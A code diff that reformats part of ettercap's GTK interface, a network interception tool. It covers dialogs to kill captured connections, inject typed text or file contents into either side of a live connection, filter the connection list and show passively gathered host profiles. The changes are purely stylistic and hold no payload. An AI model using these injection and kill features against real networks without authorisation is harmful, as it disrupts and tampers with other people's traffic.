- + /* format the data */ ret = GBL_FORMAT(text, len, dispbuf); dispbuf[ret] = 0; - + if (!ip_addr_cmp(L3_src, &curr_conn->L3_addr1)) gtkui_data_print(3, dispbuf, 1); else @@ -1437,20 +1436,21 @@ static void join_print_po(struct packet_object *po) /* if not focused don't refresh it */ if (!data_window) return; - + /* check the regex filter */ - if (GBL_OPTIONS->regex && - regexec(GBL_OPTIONS->regex, po->DATA.disp_data, 0, NULL, 0) != 0) { + if (GBL_OPTIONS->regex && + regexec(GBL_OPTIONS->regex, po->DATA.disp_data, 0, NULL, 0) != 0) + { return; } - + /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(po->DATA.disp_len) * sizeof(u_char) + 1); - + /* format the data */ ret = GBL_FORMAT(po->DATA.disp_data, po->DATA.disp_len, dispbuf); dispbuf[ret] = 0; - + if (!ip_addr_cmp(&po->L3.src, &curr_conn->L3_addr1)) gtkui_data_print(3, dispbuf, 1); else @@ -1465,18 +1465,18 @@ static void gtkui_connection_purge(void *conn) struct row_pairs *row, *nextrow, *list = connections; /* variable not used */ - (void) conn; + (void)conn; DEBUG_MSG("gtkui_connection_purge"); connections = NULL; - for(row = list; row; row = nextrow) { - nextrow = row->next; - SAFE_FREE(row); + for (row = list; row; row = nextrow) { + nextrow = row->next; + SAFE_FREE(row); } conntrack_purge(); - gtk_list_store_clear(GTK_LIST_STORE (ls_conns)); + gtk_list_store_clear(GTK_LIST_STORE(ls_conns)); } /* @@ -1489,51 +1489,51 @@ static void gtkui_connection_kill(void *conn) struct conn_tail *c = NULL; /* variable not used */ - (void) conn; + (void)conn; DEBUG_MSG("gtkui_connection_kill"); - model = GTK_TREE_MODEL (ls_conns); + model = GTK_TREE_MODEL(ls_conns); - if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (selection), &model, &iter)) { - gtk_tree_model_get (model, &iter, 11, &c, -1); + if (gtk_tree_selection_get_selected(GTK_TREE_SELECTION(selection), &model, &iter)) { + gtk_tree_model_get(model, &iter, 11, &c, -1); } else return; /* nothing is selected */ if (!c || !c->co) return; - + /* kill it */ switch (user_kill(c->co)) { - case E_SUCCESS: - /* set the status */ - c->co->status = CONN_KILLED; - gtkui_message("The connection was killed !!"); - break; - case -E_FATAL: - gtkui_message("Cannot kill UDP connections !!"); - break; + case E_SUCCESS: + /* set the status */ + c->co->status = CONN_KILLED; + gtkui_message("The connection was killed !!"); + break; + case -E_FATAL: + gtkui_message("Cannot kill UDP connections !!"); + break; } } /* - * call the specialized funtion as this is a callback + * call the specialized funtion as this is a callback * without the parameter */ static void gtkui_connection_kill_curr_conn(void) { DEBUG_MSG("gtkui_connection_kill_curr_conn"); - + /* kill it */ switch (user_kill(curr_conn)) { - case E_SUCCESS: - /* set the status */ - curr_conn->status = CONN_KILLED; - gtkui_message("The connection was killed !!"); - break; - case -E_FATAL: - gtkui_message("Cannot kill UDP connections !!"); - break; + case E_SUCCESS: + /* set the status */ + curr_conn->status = CONN_KILLED; + gtkui_message("The connection was killed !!"); + break; + case -E_FATAL: + gtkui_message("Cannot kill UDP connections !!"); + break; } } @@ -1551,26 +1551,26 @@ static void gtkui_connection_inject(void) DEBUG_MSG("gtk_connection_inject"); - if(curr_conn == NULL) + if (curr_conn == NULL) return; - dialog = gtk_dialog_new_with_buttons("Character Injection", GTK_WINDOW (window), - GTK_DIALOG_MODAL, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + dialog = gtk_dialog_new_with_buttons("Character Injection", GTK_WINDOW(window), + GTK_DIALOG_MODAL, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); #if !GTK_CHECK_VERSION(2, 22, 0) - gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); + gtk_dialog_set_has_separator(GTK_DIALOG(dialog), FALSE); #endif - gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); + gtk_container_set_border_width(GTK_CONTAINER(dialog), 5); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_box_pack_start(GTK_BOX(content_area), vbox, FALSE, FALSE, 0); - label = gtk_label_new ("Packet destination:"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); - gtk_box_pack_start (GTK_BOX (vbox), label, FALSE, FALSE, 0); + label = gtk_label_new("Packet destination:"); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); + gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); @@ -1578,44 +1578,44 @@ static void gtkui_connection_inject(void) button1 = gtk_radio_button_new_with_label(NULL, ip_addr_ntoa(&curr_conn->L3_addr2, tmp)); gtk_box_pack_start(GTK_BOX(hbox), button1, FALSE, FALSE, 0); - button2 = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (button1), - ip_addr_ntoa(&curr_conn->L3_addr1, tmp)); + button2 = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON(button1), + ip_addr_ntoa(&curr_conn->L3_addr1, tmp)); gtk_box_pack_start(GTK_BOX(hbox), button2, FALSE, FALSE, 0); - label = gtk_label_new ("Characters to be injected:"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); - gtk_box_pack_start (GTK_BOX (vbox), label, FALSE, FALSE, 0); + label = gtk_label_new("Characters to be injected:"); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); + gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); frame = gtk_frame_new(NULL); - gtk_frame_set_shadow_type(GTK_FRAME (frame), GTK_SHADOW_IN); - gtk_box_pack_start(GTK_BOX (vbox), frame, TRUE, TRUE, 5); + gtk_frame_set_shadow_type(GTK_FRAME(frame), GTK_SHADOW_IN); + gtk_box_pack_start(GTK_BOX(vbox), frame, TRUE, TRUE, 5); text = gtk_text_view_new(); - gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW (text), GTK_WRAP_CHAR); - gtk_container_add(GTK_CONTAINER (frame), text); + gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW(text), GTK_WRAP_CHAR); + gtk_container_add(GTK_CONTAINER(frame), text); gtk_widget_show_all(dialog); - + response = gtk_dialog_run(GTK_DIALOG(dialog)); - if(response == GTK_RESPONSE_OK) { + if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); SAFE_REALLOC(injectbuf, 501 * sizeof(char)); memset(injectbuf, 0, 501); - buf = gtk_text_view_get_buffer(GTK_TEXT_VIEW (text)); + buf = gtk_text_view_get_buffer(GTK_TEXT_VIEW(text)); /* initialize iters for get text */ gtk_text_buffer_get_start_iter(buf, &start); gtk_text_buffer_get_start_iter(buf, &end); /* advance end iter to end of text, 500 char max */ gtk_text_iter_forward_chars(&end, 500); - + strncpy(injectbuf, gtk_text_buffer_get_text(buf, &start, &end, FALSE), 501); - if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) + if (gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button1))) gtkui_inject_user(1); - else if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) + else if (gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button2))) gtkui_inject_user(2); } @@ -1625,9 +1625,9 @@ static void gtkui_connection_inject(void) static void gtkui_inject_user(int side) { size_t len; - + /* escape the sequnces in the buffer */ - len = strescape(injectbuf, injectbuf, strlen(injectbuf)+1); + len = strescape(injectbuf, injectbuf, strlen(injectbuf) + 1); /* check where to inject */ if (side == 1 || side == 2) { @@ -1636,7 +1636,7 @@ static void gtkui_inject_user(int side) } /* - * inject form a file + * inject form a file */ static void gtkui_connection_inject_file(void) { @@ -1646,66 +1646,66 @@ static void gtkui_connection_inject_file(void) char tmp[MAX_ASCII_ADDR_LEN]; const char *filename = NULL; gint response = 0; - + DEBUG_MSG("gtk_connection_inject_file"); - if(curr_conn == NULL) + if (curr_conn == NULL) return; - dialog = gtk_dialog_new_with_buttons("Character Injection", GTK_WINDOW (window), - GTK_DIALOG_MODAL, - GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, + dialog = gtk_dialog_new_with_buttons("Character Injection", GTK_WINDOW(window), + GTK_DIALOG_MODAL, + GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); - gtk_window_set_default_size(GTK_WINDOW (dialog), 400, 150); + gtk_window_set_default_size(GTK_WINDOW(dialog), 400, 150); #if !GTK_CHECK_VERSION(2, 22, 0) - gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); + gtk_dialog_set_has_separator(GTK_DIALOG(dialog), FALSE); #endif - gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); + gtk_container_set_border_width(GTK_CONTAINER(dialog), 5); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); - + vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_box_pack_start(GTK_BOX(content_area), vbox, FALSE, FALSE, 0); - label = gtk_label_new ("Packet destination:"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); - gtk_box_pack_start (GTK_BOX (vbox), label, FALSE, FALSE, 0); + label = gtk_label_new("Packet destination:"); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); + gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); - gtk_box_pack_start (GTK_BOX (vbox), hbox, FALSE, FALSE, 0); - + gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); + button1 = gtk_radio_button_new_with_label(NULL, ip_addr_ntoa(&curr_conn->L3_addr2, tmp)); gtk_box_pack_start(GTK_BOX(hbox), button1, FALSE, FALSE, 0); gtk_widget_show(button1); - - button2 = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (button1), - ip_addr_ntoa(&curr_conn->L3_addr1, tmp)); + + button2 = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON(button1), + ip_addr_ntoa(&curr_conn->L3_addr1, tmp)); gtk_box_pack_start(GTK_BOX(hbox), button2, FALSE, FALSE, 0); - - label = gtk_label_new ("File to inject:"); - gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); - gtk_box_pack_start (GTK_BOX (vbox), label, FALSE, FALSE, 0); + + label = gtk_label_new("File to inject:"); + gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); + gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); - gtk_box_pack_start (GTK_BOX (vbox), hbox, FALSE, FALSE, 0); + gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); entry = gtk_entry_new(); - gtk_box_pack_start(GTK_BOX (hbox), entry, TRUE, TRUE, 0); + gtk_box_pack_start(GTK_BOX(hbox), entry, TRUE, TRUE, 0); button = gtk_button_new_with_label("..."); - gtk_box_pack_start(GTK_BOX (hbox), button, FALSE, FALSE, 0); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_filename_browse), entry); + gtk_box_pack_start(GTK_BOX(hbox), button, FALSE, FALSE, 0); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_filename_browse), entry); gtk_widget_show_all(dialog); - response = gtk_dialog_run(GTK_DIALOG (dialog)); - if(response == GTK_RESPONSE_OK) { + response = gtk_dialog_run(GTK_DIALOG(dialog)); + if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); - filename = gtk_entry_get_text(GTK_ENTRY (entry)); - if(filename && strlen(filename) > 0) { - if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) + filename = gtk_entry_get_text(GTK_ENTRY(entry)); + if (filename && strlen(filename) > 0) { + if (gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button1))) gtkui_inject_file(filename, 1); - else if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) + else if (gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button2))) gtkui_inject_file(filename, 2); } } @@ -1720,24 +1720,24 @@ static void gtkui_inject_file(const char *filename, int side) int fd; void *buf; size_t size, ret; - + DEBUG_MSG("inject_file %s", filename); - + /* open the file */ if ((fd = open(filename, O_RDONLY | O_BINARY)) == -1) { ui_error("Can't load the file"); return; } - + /* calculate the size of the file */ size = lseek(fd, 0, SEEK_END); - + /* load the file in memory */ SAFE_CALLOC(buf, size, sizeof(char)); - + /* rewind the pointer */ lseek(fd, 0, SEEK_SET); - + ret = read(fd, buf, size); close(fd); @@ -1746,7 +1746,7 @@ static void gtkui_inject_file(const char *filename, int side) ui_error("Cannot read the file into memory"); return; } - + /* check where to inject */ if (side == 1 || side == 2) { user_inject(buf, size, curr_conn, side); @@ -1761,7 +1761,7 @@ static void set_connfilter(GtkWidget *widget, gpointer *data) DEBUG_MSG("set_connfilter"); - value = (gboolean*)data; + value = (gboolean *)data; *value = gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(widget)); /* reapply the filter */ gtk_tree_model_filter_refilter(GTK_TREE_MODEL_FILTER(filter.model)); @@ -1770,7 +1770,7 @@ static void set_connfilter(GtkWidget *widget, gpointer *data) static void set_connfilter_host(GtkWidget *widget, gpointer *data) { /* unused variable */ - (void) data; + (void)data; DEBUG_MSG("set_connfilter_host"); filter.host = gtk_entry_get_text(GTK_ENTRY(widget)); @@ -1786,16 +1786,17 @@ static gboolean connfilter(GtkTreeModel *model, GtkTreeIter *iter, gpointer *dat struct conn_tail *conn = NULL; /* unused variable */ - (void) data; + (void)data; /* fetch row values */ gtk_tree_model_get(model, iter, 1, &src_host, 4, &dst_host, 11, &conn, -1); /* evaluate filter criteria */ /* host filter set - filter hosts that do not match */ - if (filter.host && strlen(filter.host)) { - if (src_host && !strcasestr(src_host, filter.host) && - dst_host && !strcasestr(dst_host, filter.host)) { + if (filter.host && strlen(filter.host)) { + if (src_host && !strcasestr(src_host, filter.host) && + dst_host && !strcasestr(dst_host, filter.host)) + { ret = FALSE; g_free(src_host); g_free(dst_host); @@ -1805,46 +1806,45 @@ static gboolean connfilter(GtkTreeModel *model, GtkTreeIter *iter, gpointer *dat if (conn && conn->co) { /* protocol filter */ switch (conn->co->L4_proto) { - case NL_TYPE_UDP: - if (!filter.udp) - ret = FALSE; - break; - case NL_TYPE_TCP: - if (!filter.tcp) - ret = FALSE; - break; - default: - if (!filter.other) - ret = FALSE; + case NL_TYPE_UDP: + if (!filter.udp) + ret = FALSE; + break; + case NL_TYPE_TCP: + if (!filter.tcp) + ret = FALSE; + break; + default: + if (!filter.other) + ret = FALSE; } /* connection state filter */ switch (conn->co->status) { - case CONN_IDLE: - if (!filter.idle) - ret = FALSE; - break; - case CONN_ACTIVE: - if (!filter.active) - ret = FALSE; - break; - case CONN_CLOSING: - if (!filter.closing) - ret = FALSE; - break; - case CONN_CLOSED: - if (!filter.closed) - ret = FALSE; - break; - case CONN_KILLED: - if (!filter.killed) - ret = FALSE; - break; - default: - break; + case CONN_IDLE: + if (!filter.idle) + ret = FALSE; + break; + case CONN_ACTIVE: + if (!filter.active) + ret = FALSE; + break; + case CONN_CLOSING: + if (!filter.closing) + ret = FALSE; + break; + case CONN_CLOSED: + if (!filter.closed) + ret = FALSE; + break; + case CONN_KILLED: + if (!filter.killed) + ret = FALSE; + break; + default: + break; } - } - else { + } else { ret = FALSE; } @@ -1854,4 +1854,3 @@ static gboolean connfilter(GtkTreeModel *model, GtkTreeIter *iter, gpointer *dat /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/gtk/ec_gtk_view_profiles.c b/src/interfaces/gtk/ec_gtk_view_profiles.c index d67e614eb..a85dd4b92 100644 --- a/src/interfaces/gtk/ec_gtk_view_profiles.c +++ b/src/interfaces/gtk/ec_gtk_view_profiles.c @@ -1,23 +1,23 @@ /* - ettercap -- GTK+ GUI - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GTK+ GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -46,99 +46,99 @@ static struct host_profile *gtkui_profile_selected(void); /* globals */ static char *logfile = NULL; -static GtkWidget *profiles_window = NULL; -static GtkWidget *treeview = NULL; +static GtkWidget *profiles_window = NULL; +static GtkWidget *treeview = NULL; static GtkTreeSelection *selection = NULL; -static GtkListStore *ls_profiles = NULL; +static GtkListStore *ls_profiles = NULL; static guint profiles_idle; /* for removing the idle call */ static guint detail_timer = 0; /*******************************************/ /* - * the auto-refreshing list of profiles + * the auto-refreshing list of profiles */ void gtkui_show_profiles(void) { GtkWidget *scrolled, *vbox, *hbox, *button; - GtkCellRenderer *renderer; - GtkTreeViewColumn *column; + GtkCellRenderer *renderer; + GtkTreeViewColumn *column; DEBUG_MSG("gtk_show_profiles"); /* if the object already exist, set the focus to it */ - if(profiles_window) { - if(GTK_IS_WINDOW (profiles_window)) - gtk_window_present(GTK_WINDOW (profiles_window)); + if (profiles_window) { + if (GTK_IS_WINDOW(profiles_window)) + gtk_window_present(GTK_WINDOW(profiles_window)); else gtkui_page_present(profiles_window); return; } - + profiles_window = gtkui_page_new("Profiles", >kui_kill_profiles, >kui_profiles_detach); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); - gtk_container_add(GTK_CONTAINER (profiles_window), vbox); + gtk_container_add(GTK_CONTAINER(profiles_window), vbox); gtk_widget_show(vbox); - /* list */ + /* list */ scrolled = gtk_scrolled_window_new(NULL, NULL); - gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); - gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); + gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); + gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); - gtk_container_add(GTK_CONTAINER (scrolled), treeview); + gtk_container_add(GTK_CONTAINER(scrolled), treeview); gtk_widget_show(treeview); - selection = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); - gtk_tree_selection_set_mode (selection, GTK_SELECTION_SINGLE); - g_signal_connect (G_OBJECT (treeview), "row_activated", G_CALLBACK (gtkui_profile_detail), NULL); + selection = gtk_tree_view_get_selection(GTK_TREE_VIEW(treeview)); + gtk_tree_selection_set_mode(selection, GTK_SELECTION_SINGLE); + g_signal_connect(G_OBJECT(treeview), "row_activated", G_CALLBACK(gtkui_profile_detail), NULL); - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes (" ", renderer, "text", 0, NULL); - gtk_tree_view_column_set_sort_column_id (column, 0); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes(" ", renderer, "text", 0, NULL); + gtk_tree_view_column_set_sort_column_id(column, 0); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("IP Address", renderer, "text", 1, NULL); - gtk_tree_view_column_set_sort_column_id (column, 1); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("IP Address", renderer, "text", 1, NULL); + gtk_tree_view_column_set_sort_column_id(column, 1); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("Hostname", renderer, "text", 2, NULL); - gtk_tree_view_column_set_sort_column_id (column, 2); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("Hostname", renderer, "text", 2, NULL); + gtk_tree_view_column_set_sort_column_id(column, 2); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); #ifdef WITH_GEOIP - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("Country", renderer, "text", 3, NULL); - gtk_tree_view_column_set_sort_column_id (column, 2); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("Country", renderer, "text", 3, NULL); + gtk_tree_view_column_set_sort_column_id(column, 2); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); #endif refresh_profiles(NULL); - gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (ls_profiles)); + gtk_tree_view_set_model(GTK_TREE_VIEW(treeview), GTK_TREE_MODEL(ls_profiles)); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, TRUE); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); button = gtk_button_new_with_mnemonic("Purge _Local"); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_profiles_local), NULL); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_profiles_local), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); button = gtk_button_new_with_mnemonic("Purge _Remote"); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_profiles_remote), NULL); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_profiles_remote), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show_all(hbox); button = gtk_button_new_with_mnemonic("_Convert to Host List"); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_profiles_convert), NULL); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_profiles_convert), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); button = gtk_button_new_with_mnemonic("_Dump to File"); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_profiles_dump), NULL); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_profiles_dump), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show_all(hbox); @@ -147,22 +147,21 @@ void gtkui_show_profiles(void) profiles_idle = g_timeout_add(1000, refresh_profiles, NULL); gtk_widget_show(profiles_window); - } static void gtkui_profiles_detach(GtkWidget *child) { profiles_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); - gtk_window_set_title(GTK_WINDOW (profiles_window), "Collected passive profiles"); - gtk_window_set_default_size(GTK_WINDOW (profiles_window), 400, 300); - g_signal_connect (G_OBJECT (profiles_window), "delete_event", G_CALLBACK (gtkui_kill_profiles), NULL); + gtk_window_set_title(GTK_WINDOW(profiles_window), "Collected passive profiles"); + gtk_window_set_default_size(GTK_WINDOW(profiles_window), 400, 300); + g_signal_connect(G_OBJECT(profiles_window), "delete_event", G_CALLBACK(gtkui_kill_profiles), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(profiles_window, gtkui_profiles_attach); - gtk_container_add(GTK_CONTAINER (profiles_window), child); + gtk_container_add(GTK_CONTAINER(profiles_window), child); - gtk_window_present(GTK_WINDOW (profiles_window)); + gtk_window_present(GTK_WINDOW(profiles_window)); } static void gtkui_profiles_attach(void) @@ -194,11 +193,11 @@ static gboolean refresh_profiles(gpointer data) int found = 0; /* variable not used */ - (void) data; + (void)data; - if(!ls_profiles) { - ls_profiles = gtk_list_store_new (5, G_TYPE_STRING, G_TYPE_STRING, - G_TYPE_STRING, G_TYPE_STRING, G_TYPE_POINTER); + if (!ls_profiles) { + ls_profiles = gtk_list_store_new(5, G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, G_TYPE_POINTER); } /* get iter for first item in list widget */ @@ -208,9 +207,9 @@ static gboolean refresh_profiles(gpointer data) TAILQ_FOREACH(hcurr, &GBL_PROFILES, next) { /* see if the item is already in our list */ gotiter = gtk_tree_model_get_iter_first(model, &iter); - while(gotiter) { - gtk_tree_model_get (model, &iter, 4, &hitem, -1); - if(hcurr == hitem) { + while (gotiter) { + gtk_tree_model_get(model, &iter, 4, &hitem, -1); + if (hcurr == hitem) { found = 0; /* search at least one account */ LIST_FOREACH(o, &(hcurr->open_ports_head), next) { @@ -219,10 +218,10 @@ static gboolean refresh_profiles(gpointer data) } } - gtk_list_store_set (ls_profiles, &iter, 0, (found)?"X":" ", -1); + gtk_list_store_set(ls_profiles, &iter, 0, (found) ? "X" : " ", -1); /* check if we have to update the hostname */ - if (strcmp(hcurr->hostname,"")) { + if (strcmp(hcurr->hostname, "")) { gtk_list_store_set(ls_profiles, &iter, 2, hcurr->hostname, -1); } else { /* resolve the hostname (using the cache) */ @@ -230,14 +229,13 @@ static gboolean refresh_profiles(gpointer data) gtk_list_store_set(ls_profiles, &iter, 2, "resolving...", -1); struct resolv_object *ro; SAFE_CALLOC(ro, 1, sizeof(struct resolv_object)); - ro->type = GTK_TYPE_LIST_STORE; + ro->type = GTK_TYPE_LIST_STORE; ro->liststore = GTK_LIST_STORE(ls_profiles); ro->treeiter = iter; ro->column = 2; ro->ip = &hcurr->L3_addr; g_timeout_add(1000, gtkui_iptoa_deferred, ro); - } - else { + } else { strncpy(hcurr->hostname, name, MAX_HOSTNAME_LEN); gtk_list_store_set(ls_profiles, &iter, 2, hcurr->hostname, -1); } @@ -249,7 +247,7 @@ static gboolean refresh_profiles(gpointer data) } /* if it is, move on to next item */ - if(gotiter) + if (gotiter) continue; found = 0; @@ -261,21 +259,21 @@ static gboolean refresh_profiles(gpointer data) } /* otherwise, add the new item */ - gtk_list_store_append (ls_profiles, &iter); + gtk_list_store_append(ls_profiles, &iter); - gtk_list_store_set (ls_profiles, &iter, - 0, (found)?"X":" ", - 1, ip_addr_ntoa(&hcurr->L3_addr, tmp), - 4, hcurr, -1); + gtk_list_store_set(ls_profiles, &iter, + 0, (found) ? "X" : " ", + 1, ip_addr_ntoa(&hcurr->L3_addr, tmp), + 4, hcurr, -1); #ifdef WITH_GEOIP if (GBL_CONF->geoip_support_enable) - gtk_list_store_set(ls_profiles, &iter, - 3, geoip_country_by_ip(&hcurr->L3_addr), -1); + gtk_list_store_set(ls_profiles, &iter, + 3, geoip_country_by_ip(&hcurr->L3_addr), -1); #endif /* treat hostname resolution differently due to async processing */ - if (strcmp(hcurr->hostname,"")) { + if (strcmp(hcurr->hostname, "")) { gtk_list_store_set(ls_profiles, &iter, 2, hcurr->hostname, -1); } else { /* resolve the hostname (using the cache) */ @@ -283,14 +281,13 @@ static gboolean refresh_profiles(gpointer data) gtk_list_store_set(ls_profiles, &iter, 2, "resolving...", -1); struct resolv_object *ro; SAFE_CALLOC(ro, 1, sizeof(struct resolv_object)); - ro->type = GTK_TYPE_LIST_STORE; + ro->type = GTK_TYPE_LIST_STORE; ro->liststore = GTK_LIST_STORE(ls_profiles); ro->treeiter = iter; ro->column = 2; ro->ip = &hcurr->L3_addr; g_timeout_add(1000, gtkui_iptoa_deferred, ro); - } - else { + } else { strncpy(hcurr->hostname, name, MAX_HOSTNAME_LEN); gtk_list_store_set(ls_profiles, &iter, 2, hcurr->hostname, -1); } @@ -310,11 +307,10 @@ static void gtkui_profile_detail(void) struct open_port *o; struct active_user *u; char tmp[MAX_ASCII_ADDR_LEN]; - char os[OS_LEN+1]; + char os[OS_LEN + 1]; gchar *str, *markup; guint nrows = 2, ncols = 3, col = 0, row = 0; - DEBUG_MSG("gtkui_profile_detail"); h = gtkui_profile_selected(); @@ -327,8 +323,8 @@ static void gtkui_profile_detail(void) gtk_window_set_transient_for(GTK_WINDOW(dwindow), GTK_WINDOW(window)); gtk_window_set_position(GTK_WINDOW(dwindow), GTK_WIN_POS_CENTER_ON_PARENT); gtk_container_set_border_width(GTK_CONTAINER(dwindow), 5); - g_signal_connect(G_OBJECT(dwindow), "delete-event", - G_CALLBACK(gtkui_profile_detail_destroy), NULL); + g_signal_connect(G_OBJECT(dwindow), "delete-event", + G_CALLBACK(gtkui_profile_detail_destroy), NULL); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 5, FALSE); 